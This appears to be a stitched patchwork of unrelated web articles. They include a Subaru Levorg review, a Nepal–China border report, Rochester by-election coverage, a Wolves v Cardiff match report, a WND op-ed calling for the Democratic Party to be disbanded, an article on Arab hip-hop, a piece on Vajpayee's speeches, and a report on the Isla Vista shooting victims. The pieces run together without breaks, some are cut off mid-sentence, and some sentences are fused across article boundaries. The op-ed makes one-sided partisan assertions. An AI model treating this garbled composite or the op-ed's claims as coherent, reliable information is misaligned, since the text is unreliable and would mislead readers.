All-wheel drive, as you’d expect, is standard, and looks to be the same electronically controlled setup utilized by the CVT-equipped version of the WRX. Subaru also adds a full complement of active and passive safety tech, an effort headlined by the Levorg’s inclusion of the latest version of the automaker’s EyeSight system. This brings adaptive cruise control, automatic braking, lane-departure warning, and collision warning, to name a few items. Subaru throws the kitchen sink at the Levorg because it is positioning the car as a “sports tourer,” and hints that it is more for grand touring in comfort than attacking a race track or a rally stage. In Japan, Subaru sells an upscale three-row wagon/crossover called the Exiga that’s loosely based on the Forester. Our guess is that the Levorg is intended to be that car’s smaller, two-row sibling.
Given luxury wagons’ lack of popularity here in the U.S., don’t expect the Levorg to ever set a tire on our soil. It will go on sale in Japan soon, however. Still, if we can dream, we’d take one with a manual transmission, such as the six-speed in the WRX, although admittedly we wouldn’t complain if Subaru sent the car our way as-is. After all, it is a wagon, and it’s a mighty fine-looking, turbocharged, all-wheel-drive one at that.Either a jack-off intern was left in control of the social media accounts of Magnolia Pictures’ genre arm, Magnet Releasing, or the higher-ups at the Mark Cuban-owned distributor have some serious explaining to do. Here’s what was posted earlier today on Magnet’s Twitter and Facebook:
Granted, this post was consistent with the tone of the film it was designed to promote, Bobcat Goldthwait’s God Bless America. We here at Critic Speak found the movie’s militant brand of satire, which effectively endorses the full-scale execution of brainless pop-culture phenoms and social conservatives, to be repugnant… but it’s part of a film and therefore justifiable on the grounds of artistic expression.
But this hateful post is another story entirely — Who thought this was acceptable? Those who have not seen the film probably have no idea that this post was designed to imitate its tone. Furthermore, while God Bless America rails against public figures similar to Palin, it is not the place of a social media-updater to speak for writer/director Goldthwait in such a crude, controversial manner.
Magnet/Magnolia should delete the post and issue an apology to Palin. Just because God Bless America is tanking at the box office (it grossed just $28,000 this weekend) doesn’t mean they have the right to take it out on whoever they feel like.
Update (May 14): Thanks to our reporting and subsequent re-posts on other blogs, Magnet has posted the following apology to Twitter-Chinese immigration officials say they cannot issue entry permits to the container staff without authorisation from higher authorities in the Tibetan Autonomous Region
Dec 1, 2015-Around 600 Nepali containers have been stranded at the Rasuwagadhi border point after China denied them the required one-day passes to cross the border.
As long lines of vehicles snaked along the road from Syaphru to the Rasuwagadhi border, leaving around 1,000 container drivers and businessmen stuck in the border area.
Container driver Pushkar Regmi of Belkot said they could not go to Kerung due to the lack of pass. “We have come to Rasuwagadhi on the orders of traders to bring in goods from Kerung,” he said.
Kerung lies about 22km from the Rasuwagadhi border point. However, Chinese immigration officials informed them that they would not issue the pass until they receive authorisation from higher authorities.
“Nepali traders may have to wait for some time before the Chinese authorities distribute the passes again. The Kerung-based Chinese authority cannot issue the one-day permit for traders without authorisation from the Tibet government,” said Kedar Paneru, chief of Customs Office in Rasuwa. Chinese embassy officials were not immediately available for comment.
During a recent meeting on border and customs between the two countries, China had agreed to make arrangements for allowing Nepali traders, trucks and drivers to cross over to Kerung, the bordering Chinese market that connects with Rasuwa district.
“China has been reconstructing infrastructure in Kerung after the April 25 earthquake which has also created difficulties for clearance of Nepal-bound trucks,” said Paneru. According to him, about 500-700 trucks have started moving from Lhasa. Traders are worried after the Chinese officials stopped distributing the passes.
Dharma Lal Shrestha, a trader, said they have been staying at the border point for a week in a hope of getting the pass. The drivers with the permanent border pass are now charging Rs7,000-20,000 extra to bring goods to Rasuwagadhi. China has distributed permanent passes to locals of 15 districts close to the border. Ramchandra Timilsina of the Rasuwa Customs Office said the businessmen and the container drivers have been facing problems after the Chinese customs imposed restrictions on the distribution of passes. “This has also affected our revenue collection,” he said.
Meanwhile, Nepali Immigration Office has given permission to distribute one-day passes on the Nepali side. Chief of Immigration Office Om Prasad Pandey said they have been distributing one-day passes to Nepali container drivers and traders, but they are returning after being refused the pass by the Chinese immigration. The traders have requested the government to take an initiative in facilitating the one-day pass at the earliest.
Published: 01-12-2015 08:35Conservatives in Rochester and Strood have turned on their new MP and former colleague Mark Reckless accusing him of being an unprincipled, back-stabbing, liar who would lose the seat at the next general election.
While bitterly disappointed at losing the by-election local activists said they were reassured by his smaller than expected majority – which was less than most polls had predicted.
They suggested that the by-election result would be a high watermark for Ukip in Rochester – a message mirrored by David Cameron who said he was “absolutely determined” to win the seat back at the next general election.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
During the by-election campaign local Tories were under strict instructions from Tory Central Office not to engage in personal attacks on Mr Reckless for fear of alienating voters.
But minutes after the result was declared Tories at the count admitted how angry they felt at their former friend’s actions.
"There is bitterness," said Trevor Clarke.
"The guy portrays himself as noble, when he stabbed everyone he knew in the back -–people he'd worked with for six years.
"He'd been stringing me along for six weeks (before his defection) and we were supposed to be friends. What kind of calibre of man does that?
"He did it for his own personal benefit. He played us. We should have seen it coming but when somebody you know very well says to you 'I'm with you, I'm for you, I'm not going anywhere' you believe them."
He added: "And for what – three months in Parliament. He can't do anything. He's made all these empty promises – to pretend he was listening to people when he wasn't before. Don't try and make him out as some kind of hero, he's done what he's done for himself."
Shape Created with Sketch. In pictures: Rochester by-election Show all 15 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. In pictures: Rochester by-election 1/15 Rochester by-election Counting gets under way for the Rochester and Strood constituency by-election held at Medway Park, Gillingham, Kent 2/15 Rochester by-election Nigel Farage and members of the UKIP team celebrate after Mark Reckless won the Rochester and Strood by-election at Medway Park, Gillingham near Rochester, Kent 3/15 Rochester by-election Howling Laud Hope, leader of the Official Monster Raving Loony Party (R) awaits for the by election results in Medway, Gillingham Rochester, Kent 4/15 Rochester by-election Kelly Tolhurst, the Conservative Party's candidate in the Rochester's by-election, walks down the town's high street on polling day, in southern England 5/15 Rochester by-election Gulpreet Baines (18) sets fire to a United Kingdom Independence Party (UKIP) rosette, on polling day in Rochester's by-election 6/15 Rochester by-election Naushabah Khan, Labour Candidate for the Rochester and Strood by-election is joined by shadow transport secretary Michael Dugher in Rochester on the final day of campaigning ahead of by-election 7/15 Rochester by-election UKIP supporter Graham Harper and his dog Roquie carry a electoral poster supporting UK Independence Party (UKIP) parliamentary candidate Mark Reckless in Rochester, Kent ahead of the by-election poll 8/15 Rochester by-election A customer poll of sweets purchased in favour of the party's contesting the Rochester and Strood by-elecction on display in the Sweet Expectations Sweet Shop in Rochester, Kent, on the final day of campaigning before the by-election later this week 9/15 Rochester by-election David Cameron and Conservative Party candidate for Rochester and Strood, Kelly Tolhurst, talk to Mick Parks, Workshop Foreman at MCL Mechanical near Rochester, Kent, southern England, during a visit ahead of the by-election 10/15 Rochester by-election People stand holding placards against the Britain First party who held a march in Rochester, southeastern England 11/15 Rochester by-election Britain First march through Rochester Justin Sutcliffe 12/15 Rochester by-election UKIP parliamentary candidate Mark Reckless campaigns in Rochester on November 4, 2014 Rob Stothard/Getty Images 13/15 Rochester by-election Ed Miliband campaigns with Yvette Cooper (left) and Naushabah Khan before the Rochester and Strood by-election Ben A. Pruchnie/Getty Images 14/15 Rochester by-election The Britain First march was met by vociferous counter protest Justin Sutcliffe 15/15 Rochester by-election A UKIP office in Rochester. Rochester and Strood will hold a by-election on November 20th following the defection of Conservative Party Member of Parliament, Mark Reckless to UKIP Rob Stothard/Getty Images 1/15 Rochester by-election Counting gets under way for the Rochester and Strood constituency by-election held at Medway Park, Gillingham, Kent 2/15 Rochester by-election Nigel Farage and members of the UKIP team celebrate after Mark Reckless won the Rochester and Strood by-election at Medway Park, Gillingham near Rochester, Kent 3/15 Rochester by-election Howling Laud Hope, leader of the Official Monster Raving Loony Party (R) awaits for the by election results in Medway, Gillingham Rochester, Kent 4/15 Rochester by-election Kelly Tolhurst, the Conservative Party's candidate in the Rochester's by-election, walks down the town's high street on polling day, in southern England 5/15 Rochester by-election Gulpreet Baines (18) sets fire to a United Kingdom Independence Party (UKIP) rosette, on polling day in Rochester's by-election 6/15 Rochester by-election Naushabah Khan, Labour Candidate for the Rochester and Strood by-election is joined by shadow transport secretary Michael Dugher in Rochester on the final day of campaigning ahead of by-election 7/15 Rochester by-election UKIP supporter Graham Harper and his dog Roquie carry a electoral poster supporting UK Independence Party (UKIP) parliamentary candidate Mark Reckless in Rochester, Kent ahead of the by-election poll 8/15 Rochester by-election A customer poll of sweets purchased in favour of the party's contesting the Rochester and Strood by-elecction on display in the Sweet Expectations Sweet Shop in Rochester, Kent, on the final day of campaigning before the by-election later this week 9/15 Rochester by-election David Cameron and Conservative Party candidate for Rochester and Strood, Kelly Tolhurst, talk to Mick Parks, Workshop Foreman at MCL Mechanical near Rochester, Kent, southern England, during a visit ahead of the by-election 10/15 Rochester by-election People stand holding placards against the Britain First party who held a march in Rochester, southeastern England 11/15 Rochester by-election Britain First march through Rochester Justin Sutcliffe 12/15 Rochester by-election UKIP parliamentary candidate Mark Reckless campaigns in Rochester on November 4, 2014 Rob Stothard/Getty Images 13/15 Rochester by-election Ed Miliband campaigns with Yvette Cooper (left) and Naushabah Khan before the Rochester and Strood by-election Ben A. Pruchnie/Getty Images 14/15 Rochester by-election The Britain First march was met by vociferous counter protest Justin Sutcliffe 15/15 Rochester by-election A UKIP office in Rochester. Rochester and Strood will hold a by-election on November 20th following the defection of Conservative Party Member of Parliament, Mark Reckless to UKIP Rob Stothard/Getty Images
Councillor Sylvia Griffin added: "I'm very, very disappointed. I thought that Mark Reckless was a friend of mine."
Another activist who did not want to be named said: "Him and Carswell can spend the next five months sitting in the Commons talking about who they’re going to repatriate next," said one. "He’s going to be out in May."
Conservative Party chairman Grant Shapps said he was disappointed but the narrower-than-predicted margin of victory for Ukip meant Tory candidate Kelly Tolhurst was well placed to wrest back the seat on 7 May.
“I'm very sorry that Kelly has not been elected but with 2,900 votes in it, it certainly puts her in strong contention for the general election and we will be fighting very hard to win this back," he said. “The future of this country wasn't on the ballot paper yesterday. It will be in 170 days' time. And that means that we really need to emphasise to people the risk of doing anything other than voting Conservative."
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Subscribe now.Danny Batth had not scored for Wolves since August 2016 before his two goals against Cardiff
Danny Batth scored twice as Wolves beat Cardiff City to move eight points clear of the Championship relegation zone.
Wolves captain Batth opened the scoring with a header for his second goal of the season.
Kenneth Zohore's ninth goal in nine games brought Cardiff level soon after but a second header from Batth restored Wolves' lead before half time.
Helder Costa's fine individual goal sealed a fourth successive win for Wolves with seven minutes remaining.
Defensive mistakes and missed opportunities proved costly for Cardiff, who have not won away from home since victory at Derby in February.
The Bluebirds slipped one place to 14th in the table while Wolves, who edged closer to safety, remain 16th.
Kenneth Zohore's header brought Cardiff City level at Molineux
Batth's header put Wolves in front after Andreas Weimann headed Ben Marshall's free-kick across the penalty area with Cardiff punished for defensive mistakes.
Neil Warnock's side were level within three minutes when Denmark Under-21 striker Zohore netted his 11th goal of the season, beating Andy Lonergan to the ball to head home into an empty net.
Cardiff had further chances when Aron Gunnarsson pushed his shot wide after being set up by Zohore, who along with Junior Hoilett failed to react to a Sean Morrison head down.
But Batth restored the home side's lead with his second goal of the game four minutes before the interval.
Marshall's brilliant cross from the right-hand side found the Wolves captain at the far post, and Batth rose above Morrison to head home.
Batth nearly scored a hat-trick from a Marshall corner, only to see his header fly over the bar.
Cardiff substitute Craig Noone struck the post before Costa sealed Wolves' victory with a tough of magic.
The Portuguese winger was released by Edwards with a weaving run through the Cardiff defence before nonchalantly rolling the ball past Allan McGregor.
Wolves manager Paul Lambert told BBC WM: "I thought it was well deserved. We were excellent right from the off - some of the football we played was fantastic.
"There's a lot of work still to be done but we're on the right road of trying to create something really good here.
"In comparison to some other clubs we're nowhere near where we want to be in the division, but we're exciting to watch."
Cardiff City manager Neil Warnock told BBC Radio Wales: "I don't think they won the game, I think we lost it We looked comfortable early doors and even when they scored we looked dangerous.
"I don't think there was much wrong. You couldn't say they didn't try - we didn't get the rub of the green on certain decisions but you're away from home and don't expect that."The government is struggling to find a way of making George Osborne’s plans to remove child benefit from those paying 40% tax work.
A Treasury source says the policy is “unenforceable” and likely to be ditched before its scheduled introduction in 2013. Another source at the heart of government says the expectation is that it will eventually not happen. Elsewhere I hear that it is “panic stations in the Treasury.”
At root is a problem that should have been apparent to those designing the policy, if detailed advice had been sought from civil servants before it was announced at Conservative party conference.
Child benefit is generally paid to the mother. She is under no legal obligation to tell the father that she receives it. The Treasury confirms this. It is her benefit. The father’s tax status is irrelevant. If a mother claims it there is nothing forcing her to flag up to the taxman that her husband earns above the level that Osborne stipulates should mean no child benefit.
Indeed, the child benefit was designed with the express purpose of keeping the cash away from men. Remember the argument of Barbara Castle and others when its precursor was introduced. It went direct to the mother in order that the father wouldn’t spend the proceeds on drink or gambling.
In the U.K. tax system households are not taxed, individuals are. The Treasury acknowledges that is the basis on which the system of personal taxation works. Potentially, this problem rather stuffs a flagship coalition policy, or makes it prohibitively expensive and complicated to implement.Maybe the left is correct. It may be time to purge the U.S. of any historical reference to slavery and racism.
Just this week, Vanderbilt University renamed “Confederate Memorial Hall” to “Memorial Hall.”
Also this week, the University of Texas removed an inscription from a campus memorial that honored those who fought for the Confederacy.
A Veterans Affairs official has also just made it known that the Confederate flag will no longer fly in publicly funded cemeteries.
While the Confederate flag and any reference to the Confederacy is quickly disappearing around the nation, there is still resistance to purging the great stain of slavery from our history. There is only one political party that still exists today whose platform was to maintain and promote slavery in the United States: The Democratic Party.
Historically, the Democratic Party was the party of slavery. The Ku Klux Klan was also an arm of the Democratic Party. So, why is that party still prominently given a place in our post-slavery, post-racial society?
As everything Confederate is purged from our society, at what point does the Democratic Party get thrown out, too?
When the Republican Party was born, it was formed by anti-slavery Americans who had no party to join that would stand up against slavery.
The Whigs were afraid to lose any pro-slavery members, so they pretended like the issue of slavery did not exist. The Republican Party formed and, in the blink of an eye, the cowardly Whigs were no more, and the Republicans suddenly held the presidency and majorities in Congress.
So, what did the Democrats do? They formed their own Confederate government consisting only of Democrats. The war began, and we know how that went.
What do women want? Not Hillary! Gina Loudon teams up with her fellow Politichicks in their first blockbuster, “What Women Really Want” — available at the WND Superstore
After the war was won by the anti-slavery Republicans, the KKK was formed by Democrats who tried to maintain their way of life.
Make no mistake. There were no Republicans joining the KKK. You might find a handful of Republicans in the past 150 years who affiliated themselves with the KKK, but they are the rare exception to that rule.
If we are to purge our society of historical references to anything related to the Confederacy, slavery and the KKK, then the Democratic Party should be at the top of the list.
If we are to throw out Confederate flags, rename buildings and sandblast inscriptions carved in stone honoring Confederate soldiers, then we must disband and disavow the Democratic Party.
It must be purged from our society.
The word “Democratic Party” should not be inscribed on public property and must not be printed on ballots. Democrat candidates should absolutely not be allowed on the presidential debate stage.
Donald Trump was asked to disavow any supporter who is affiliated with the KKK, and he did so.
Hillary Clinton has neither disavowed the KKK leaders who were her friends nor has she disavowed members of the KKK who support her. One branch of the KKK says it has donated $20,000 to her campaign, and she has not returned that money.
Clinton praised former KKK Kleagle and Exalted Cyclops Robert Byrd while she was secretary of state.
Hillary Clinton did the opposite of disavowing. She praised the former Klan leader while she was secretary of state, and she still refuses to disavow him.
We can only speculate as to why Hillary Clinton refuses to distance herself from the KKK. Could her party’s historical ties to the KKK be the reason?
There is only one way to make it clear to the American people that liberals in America are not affiliated with racism is any way. They must disavow and disband the Democratic Party once and for all. It must be thrown on the ash heap of history along with the Confederate flags that represented the platform of that party.
Hillary Clinton should explain her ties to former KKK members, reject the party of slavery and help usher in a new post-racial era in America – a country without a Democratic Party.
Gina Loudon teams up with her fellow Politichicks in their first blockbuster, “What Women Really Want” — available at the WND SuperstoreRove is a 'two-headed rattlesnake' says former Ala. Gov. Siegelman David Edwards and Rachel Oswald
Published: Friday March 6, 2009
Print This Email This Former Alabama Gov. Don Siegelman, himself a purported victim of the machinations of Karl Rove, urged Congressional patience when it comes time to interview the former top Bush strategist of his alleged role in the politicalization of the Justice Department.
But his calls to the House Judiciary Committee to take its time in building its case against Rove didn't stop him from calling Rove a "double-headed rattlesnake" in a Thursday phone interview with MSNBC's Rachel Maddow.
"Karl Rove is like a double-headed rattlesnake," said Siegelman, a Democrat. "You have to back him into the corner before you get anything out of him."
For this reason Siegelman urged that Congress not rush to interrogate Rove now that he has finally agreed to answer questions reports The Washington Post about his role in the 2006 bribery conviction of Siegelman.
"I think that rushing through this is not going to instill faith in the American people that we've done a good job. I would encourage Congress to take their time and to look at other people who also can lay the foundation to put Karl Rove in check," said the former governor, noting that Rove "didn't fire these U.S. attorneys on his own. He didn't plot the prosecution of Democrats by himself."
After serving as governor from 1999 to 2003, Siegelman was found guilty of seven counts of bribery and related charges in 2006. He was sentenced to more than seven years in prison but he only served nine months after an appellate judge cited "substantial questions" in his case, reported The Post.
Siegelman urged Congress to subpoena the telephone records and e-mails between Karl Rove and the A.G. of Alabama who launched the bribery investigation. He also suggested that the e-mails and phone records of Bill Canary, husband of U.S. Attorney Leura Canary, the prosecutor in his case also be subpoenaed. Siegelman said Canary was Rove's closest friend in Alabama.
"There are other people in Alabama who have knowledge of this prosecution," Siegelman said. "Those people should be brought before the committee and should be asked to tell the truth under oath and under penalty of perjury. "
Raw Story's own Larisa Alexandrovna's has closely followed the Siegelman case. Her investigative stories on it can be read here.
This video is from MSNBC's The Rachel Maddow Show, broadcast Mar. 5, 2009.
Download video via RawReplay.com
Get Raw exclusives as they break -- Email & mobile Email - Never spam:There’s a lot beer lovers may miss when they travel to the Pacific Northwest, a region overwhelmed not just with breweries, but really good ones. And while there are plenty of businesses that captivate beer geeks, one in particular has long caught my eye.
Seattle's Reuben's Brews is something of rocket ship in an area pleasantly saturated with some of the best beer in the country. The name might not sound familiar to those outside Washington, but Reuben’s is one of the fastest growing breweries in the state. Not long before I sat down with owners Adam and Grace Robbings in September, their business was growing at just over 100 percent in IRI-tracked dollar sales in their home state compared to 2016.
Since opening about five years ago, Reuben’s has expanded into a pseudo compound spread across a few different buildings in as many blocks in Seattle’s Ballard neighborhood, where they run a brewery and taproom, packaging facility, barrel-aging space and more. I came to know their beer years ago when my brother sent me a bottle of their award-winning Porter, but their lineup and my expectations have expanded rapidly since then.
Amongst the phenomenal growth of Reuben’s Brews, Adam and Grace have faced typical challenges not entirely unique to their company, ranging from the kinds of brands they make to how they’re sold. However, Adam’s methodical processes and logical focus continue to push together aspects of art and science that drives the brewery’s core ethos. You’ll find the way he talks about making beer - and the level of detail he requires to do so - is rather inspiring.
Above all else, however, this is a family business. The beer is important, but not as much as the people that surround it. The namesake of the brewery - Adam and Grace’s son, Reuben - is seen as a future. There’s been plenty of success so far, but this is still the start of a much longer journey.For more than a generation, hip-hop has drawn kids from neighborhoods around the world into the musical intersection of street culture and political consciousness. Now that common ground is making a mark in one of the globe’s most conflict-ridden areas: the Arab world.
Tracing the breadth of the diaspora – from French streetscapes to Gaza slums – Arab youth are seizing hip-hop culture as a platform for self-expression.Dam, a three-member crew based in Lyd, a town outside Jerusalem, documents the bleak realities of segregation, violence and poverty under Israeli rule. (Their name means “blood” in Hebrew and “eternity” in Arabic.)
The group’s breakthrough protest anthem, “Min Irhabi?” (“Who’s a Terrorist?”), released in 2001, reverses a common ideological refrain: “You’re killing us like you’ve killed our ancestors/ You want me to go to the law? What for? You’re the Witness, the Lawyer and the Judge!”
In “Inkilab” (“Revolution”), Dam emcee Suhell Nafar warns “all the people of love and peace”: “How can we have co-existence when we don’t even exist? It takes revolution to find a solution.”
As political marginalization stokes hopelessness among Palestinian youth, Nafar says hip-hop’s mission is “to deliver the positive message, and to let the people know that they’re not terrorists, to let them know that they’re human beings.”
Nafar also notes that music can cross checkpoints and borders more easily than Palestinians can. “We can’t get into Gaza, or go to Nablus, or go to Syria,” he says. “But our music got there a long time ago. There’s no other way to connect.”
On the other side of the barrier, the Gaza-based Palestinian Rapperz (PR) buck at the Israeli occupation with dark, lumbering beats and voices steeped in bitterness. The crew’s trademark symbols invoke graffiti and barbed wire.
“Rap is known for people who struggle, and we are here struggling, so rap is our weapon to defend ourselves,” says emcee Ayman Meghames. With the military paralyzing nearly every facet of life in Gaza, he says, “it’s the only way to express our feelings without getting killed.”
The new documentary Slingshot Hip Hop, by Palestinian-American artist Jackie Salloum, follows the daily travails of Dam, PR and other Palestinian artists. Scenes of studio jams and packed clubs are interspersed with police harassment, a cell-phone conversation with friends in prison and vast landscapes of rubble where neighborhoods once stood.
That atmosphere drove young musicians in the West Bank to channel their frustrations into a hip-hop collective called Ramallah Underground. Named after the region’s cultural hub, the trio’s politically charged rhythms blend trip-hop, electronica and Arab folk sounds.
“We consider our music to be very political, simply because our lives are very political,” says co-founder Stormtrap. “Just the mere fact that we know what’s happening puts a huge weight and responsibility on us to do something about it.”
Hip-hop artists in other parts of the Arab world, while perhaps less explicitly politicized, nonetheless reflect on social tensions that engulf their communities.
Casablanca-based emcee Don Bigg, also known as Al Khaser (or Rude Boy), says class conflict fuels hip-hop in Morocco, which suffers from some of the deepest wealth inequities in the region. Whereas American hip-hop grew out of a racially divided society, he says, in Morocco, “We have the same segregation, but not against Afro-American people, but from the rich [who are] against what we call wlad sha’ab,” or the common people.
In Egypt, where rapid economic change has bred alienation among many youth, the Cairo-based Arab Rap Family tries to intone a message of affirmation through its music. Nadoo, an emcee with roots in both Egypt and the United States, says, “We want them to grow with knowledge about life and history, and the courage to speak their mind and not be negative.”
As they challenge the political and cultural status quo, Arab hip-hop artists are also looking to upset barriers within their own communities. Abeer Alzinaty’s sharp, streetwise voice has complemented Dam and other Palestinian artists on many recordings. But most fans have only heard, not seen, the pioneering Palestinian R&B vocalist, because her family and community have pressured her not to sing publicly. Hamstrung by negative attention, she has limited her performances to venues outside her community in Lyd.
Even within the scene, Alzinaty says some male artists choose to stay quiet on issues of women’s equal right to self-expression – a glaring contrast to their pro-Palestinian activism. “When you get revolution personally in your life,” she says, “people tend to take a step backwards.”
Alzinaty, who plans to relocate to the United States to develop her music, sees hip-hop as a channel for women’s empowerment outside of traditional cultural constraints. “We have a lot of issues to talk about,” she says. “And traditional music can do that, but not as fiercely as hip-hop can, and you can’t really get too angry on a classic song.”
Receiving scant attention from the commercial music industry in their home countries, Arab hip-hop artists remain an underground phenomenon. But through viral Internet marketing, Ramallah Underground, Dam and others have attracted international followings and collaborated with artists in the United States and Europe.
Some Arab hip-hop musicians see their budding community as part of a global revival. Nafar says that while mainstream corporate hip-hop goads people to “shake their asses and to forget about all the stuff that’s really happening,” hip-hop’s original iconoclasm lives on wherever social strife roils.
“This is what we need,” he says. “We’ve been hungry for people who speak freely.”The wry wit, sarcasm and passion in former prime minister Atal Bihari Vajpayee's speeches left listeners spell-bound and rivals speechless. People remembered Vajpayee as a skilled poet and a master orator when it was announced on Wednesday that he had been awarded the Bharat Ratna.
Vajpayee was often commended for his ability to stump his critics, especially in Parliament, with a passionate speech. Perhaps, one of his most memorable Parliament address was from 1996 during the confidence vote of his 13-day-old BJP government.
In a first, a major political Parliament speech had the attention of the entire country as it was telecast live on Doordarshan. With the responsibility of winning the confidence of people, a poignant Vajpayee talked about everything - from his political struggle and his diligence towards his post to corruption and the need to'save' India.
These last 5 minutes capture the essence of his entire speech:
Armed with expressions and heavy gesticulation, Vajpayee had the power to leave the House in splits.
"Acha tou acche Vajpayee ka aap kya karne ka iraada rakhte hain?"
And more than anything, Vajpayee knew just how to invoke passion and patriotism in people.
"Ye desh rehna chahiye, iss desh ka loktantra amar rehna chahiye"
As you'd see in the next video, his speeches were often in many shades of emotion. At one moment, his humour would make the Speaker of the House crack up and smile and minutes after, one would see fierce anger on Vajpayee's face.
Sitting in the Opposition during IK Gujral's government, people saw a Vajpayee angry over fodder scam, threatening to not give his speech if disruptions continued, leading to pin-drop silence.
Often, Vajpayee's speeches can remind one of the challenges India faces today.
Sample this next video where in an angry speech Vajpayee's voice booms, sitting in the Opposition, as he says "mujhe is sawal ka uttar chahiye", talking about corruption, adding that elections should not be fought with black money.
The former PM was a champion of Uniform Civil Code, a matter which is still debated in India today.
Many decisions during his tenure were criticised by the INC, but the uninhibited Vajpayee always hit back with a strong retort.
In one such instance, while addressing concerns about India's Pokhran II (Operation Shakti) nuclear tests, he said, "no decision under international pressure," - a stand he is still remembered by.
In another example, countering Sonia Gandhi's sharp attacks on BJP's governance, Vajpayee had a poignant response:
His speeches, though, weren't devoid of controversies. He has been accused of inciting violence in this speech from a day before Babri Masjid was demolished - an incident that triggered riots across the country, claiming hundreds of lives.
Not all of Vajpayee's speeches came in Parliament. His speech during the BJP Mumbai Adhiveshan on April 6, 1980 is still remembered by most BJP supporters, his sign-off still quoted during BJP campaigns.
"Samsya vy |
police last week out of concern over disturbing videos he posted
Two members of the same sorority and a sophomore at University of California Santa Barbara have been identified as victims of Friday night’s drive-by shooting rampage that left six dead and 13 wounded.
The massacre perpetrated by 22-year-old Elliot Rodger claimed the lives of Veronika Weiss, 19, and Katie Cooper, 22, both sisters at the Delta Delta Delta Greek organization, the victims’ friends revealed.
A third victim has been identified by his distraught father, Richard, as Christopher Martinez, 20.
The slain sophomore's grief-stricken parent spoke out Friday in an emotional appeal for increased gun control.
SCROLL DOWN FOR VIDEO
First casualties: Katie Cooper, left, and Veronika Weiss, right, were among the six people slain not far from the University of California Santa Barbara campus Friday
Happier times: Katie Cooper (top), an art history and archeology major at UCSB, pictured with a friend in Hawaii
Full life: Friends said Weiss (pictured) was on the Westlake High School water polo team
Distraught: Richard Martinez (left), the father of mass shooting victim Christopher Martinez, expresses his anger and sorrow as he speaks to the media with his brother, Alain (second left) by his side outside the Santa Barbara County Sheriffs headquarters in Goleta, California
Heartbreaking loss: Mr Martinez said his son majored in English and was an only child
According to her Facebook page, victim Katie Cooper, 22, majored art history and archeology at UCSB.
'She was a shining star,' Cooper’s devastated aunt, Stacy Simmer, described the slain young woman.
Simmer said San Bernardino sheriff’s deputies came to her sister’s house at 10am Saturday and told her that Katie had been killed in a drive-by shooting.
Dashed dreams: Martinez was on track to graduate from college with a high GPA and live in London for a year
‘I was on my way to church and my brother-in-law, Dan, called me and said, "Stacy, are you driving? I need you to pull over because I have something terrible to tell you,”’ Ms Simmer recalled. ‘”There was a guy in a car and he was driving around shooting people, and Katie was one of them and she was killed.”’
The distraught aunt went on, saying: ‘Katie was the apple of all of our eyes… She had a 4.8 GPA and did a lot of charity fundraising for St Jude’s Children's hospital.
‘She was studying archeology and she was in in a wonderful sorority.
‘Her parents, Katie and Dan, left for Santa Barbara as soon as they heard. Her two brothers, Nick, 26, a chemist in Colorado, and Jon, still in college, are on their way there now. They were as close as any siblings can be.’
Stacy Simmer said she was told by her sister that when her niece’s body is released to the family sometime next week, she will be laid to rest in their local Catholic church.
Veronika Weiss, Cooper's sorority sister, of Westlake Village, has been a member of the Westlake High School water polo team, her friends told KABC.
Richard Martinez, Christopher's father, said of his son: 'He was an English major and he wanted to go to law school. He grades were excellent.
'Both my wife and I are attorneys and I wasn't thrilled about him doing that, but we didn't want to argue with him. He was an only child.'
Lone gunman: 22-year-old Elliot Rodger went on a shooting spree, killing six people and injuring seven before dying of a gunshot wound to the head 'Retribution': Elliot Rodger posted a video to social media in which he outlined his plan for'retribution' for being rejected by women
Peter Rodger was pictured also today. The grief-stricken father was photographed meeting his attorney.
He released a statement via the lawyer Alan Schifman. It said: 'The Rodger family offers their deepest compassion and sympathy to the families involved in this terrible tragedy. 'We are experiencing the most inconceivable pain, and our hearts go out to everybody involved.' It came as friends and relatives of the gunman shared their shock and heartache at what unfolded in the early hours of Saturday.
‘Oh my God, my God. This is terrible,’ said Christian Rivas, a close friend and neighbor of Elliot Rodger’s 18 year-old sister, Georgia, when asked about Friday’s tragedy. ‘I was hanging out with Georgia till two o’clock this morning at the local park and she was happy and laughing - she had no idea what was going on with her brother. She must be devastated - I feel so bad for her…and the victims.” ‘She was always worried about Elliot. She would say that she didn’t understand him because he was always such a loner - he didn’t want to have anything to do with anyone else and he had no friends. ‘Georgia said that when they did talk, they would often fight because he didn’t seem to be interested in anything or anyone. She couldn’t relate late to him and he was so anti-social.” Christian, 19, lives around the corner from the neat, three-bedroom home on quiet Windom Steet in West Hills - about 25 miles north west of Los Angeles - where Elliot’s mother, ‘Chin’ Rodger, 53 lives with Georgia. Distraught: Hollywood director Peter Rodger was photographed for the first time today after his son Elliot went on a shooting rampage killing six and himself Police tape marks off the scene of a drive-by shooting that left seven people dead, including the attacker, and others wounded on Friday in Isla Vista, California Aftermath: Students and shop owners survey the damage caused by the gunman which spread over several streets in Isla Vista ‘Elliot wasn’t really living here all the time any ore but he stayed here a lot,’ added Christian, who attended nearby El Camino High School, the same school both Elliot and Georgia went to. ‘When I would go to their house to see Georgia, if Elliot was in he would never come out into the living room and talk. He always stayed locked in his bedroom by himself. ‘He always kept very much to himself. When he did go out he would sometimes just drive round the neighborhood aimlessly in his car - I think it was a black BMW.
‘Georgia had a boyfriend once who just couldn’t figure Elliot out and called him a “real weirdo.” The boyfriend would say “hi” to him but Elliot wouldn’t say a word. He’d just go to his bedroom and slam the door ‘The only person he spent time with was his mother. I think he was quite close to her. His mom is very sweet and nice and I think she gets on well with Elliot and Georgia’s dad, even though they’re divorced. ‘I feel so sorry for Georgia and her mom and dad. They’re a really nice family and this is going to devastate them. Elliot was a strange guy and Georgia did worry about him a lot. But something as horrific and violent as this - she could never have imagined anything so awful happening.' Crime scene: Elliot Rodger's black BMW can be seen along with a mangled bike in Isla Vista where seven people are dead following a shooting spree Aftermath: A deputy sheriff walks near a black BMW sedan driven by a drive-by shooter on Saturday, May 24, 2014, in Isla Vista, California near a Santa Barbara university campus Near campus: The shootings took place close the the UC Santa Barbara campus Authorities are examining a video posted on social media by the shooter in which he rants about women who supposedly rejected his advances.
